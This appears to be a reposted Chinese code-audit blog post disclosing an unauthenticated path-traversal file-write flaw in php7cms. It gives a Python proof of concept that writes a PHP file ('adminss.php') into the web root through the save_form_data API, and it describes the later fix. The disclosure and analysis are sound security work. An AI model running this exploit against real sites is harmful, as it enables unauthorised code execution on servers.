[代码审计]php7cms 无条件前台getshell

栏目: PHP · 发布时间: 7年前

内容简介:Version:2018-1//最新版中以修复此漏洞这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。

Version:2018-1 0-09

//最新版中以修复此漏洞

这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。

// php7cms/Core/Controllers/Api/Api.php
// 52~61 line
public function save_form_data() {

    $rt = \Phpcmf\Service::L('cache')->init('file')->save(
        \Phpcmf\Service::L('Input')->get('name'),
        \Phpcmf\Service::L('Input')->post('data'),
        7200
    );
    var_dump($rt);
    exit;
}

调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。

// php7cms/Fcms/Library/Cache.php
  // 112~121 line
  public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {
        $config = new \Config\Cache();
        $config->handler = 'file';
        $config->prefix = $prefix;
        !$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';
        $config->path = WRITEPATH.'caching/';
        $cache = \Config\Services::cache($config, 0);

        return $cache;
    }

初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。

直接看最后一步

// php7cms/System/Cache/Handlers
// 107~125 line
public function save(string $key, $value, int $ttl = 60)
{
  $key = $this->prefix . $key;

  $contents = [
    'time'	 => time(),
    'ttl'	 => $ttl,
    'data'	 => $value,
  ];

  if ($this->writeFile($this->path . $key, serialize($contents)))
  {
    chmod($this->path . $key, 0640);

    return true;
  }

  return false;
}
//324~345 line	
protected function writeFile($path, $data, $mode = 'wb')
  {
    if (($fp = @fopen($path, $mode)) === false)
    {
      return false;
    }

    flock($fp, LOCK_EX);

    for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)
    {
      if (($result = fwrite($fp, substr($data, $written))) === false)
      {
        break;
      }
    }

    flock($fp, LOCK_UN);
    fclose($fp);

    return is_int($result);
  }

直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。

POC:

from requests import post
postData = {
  'data':'<?php phpinfo()?>'
}
postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

[代码审计]php7cms 无条件前台getshell

新版修复:

[代码审计]php7cms 无条件前台getshell

首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。

[代码审计]php7cms 无条件前台getshell


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

响应式Web设计实践

响应式Web设计实践

[美] Tim Kadlec / 侯鸿儒 / 人民邮电出版社 / 2013-3-1 / 55.00元

随着各种各样的移动设备不断地涌现到使用者面前,Web设计的适应性已经成为设计师们所面临的最为艰巨的挑战。你设计出的网站不仅要在桌面计算机的大尺寸屏幕上可以为用户提供友好的UI和用户体验,同时在小尺寸屏幕上也应该可以提供一致的用户体验,并可以让用户能够在桌面大屏幕上和移动小屏幕上平滑切换,同时没有任何的不适应感觉。 本书作者是一位出色的开发者,在本书中,他将诸多技术和设计理念杂糅在一起,再辅以......一起来看看 《响应式Web设计实践》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

MD5 加密
MD5 加密

MD5 加密工具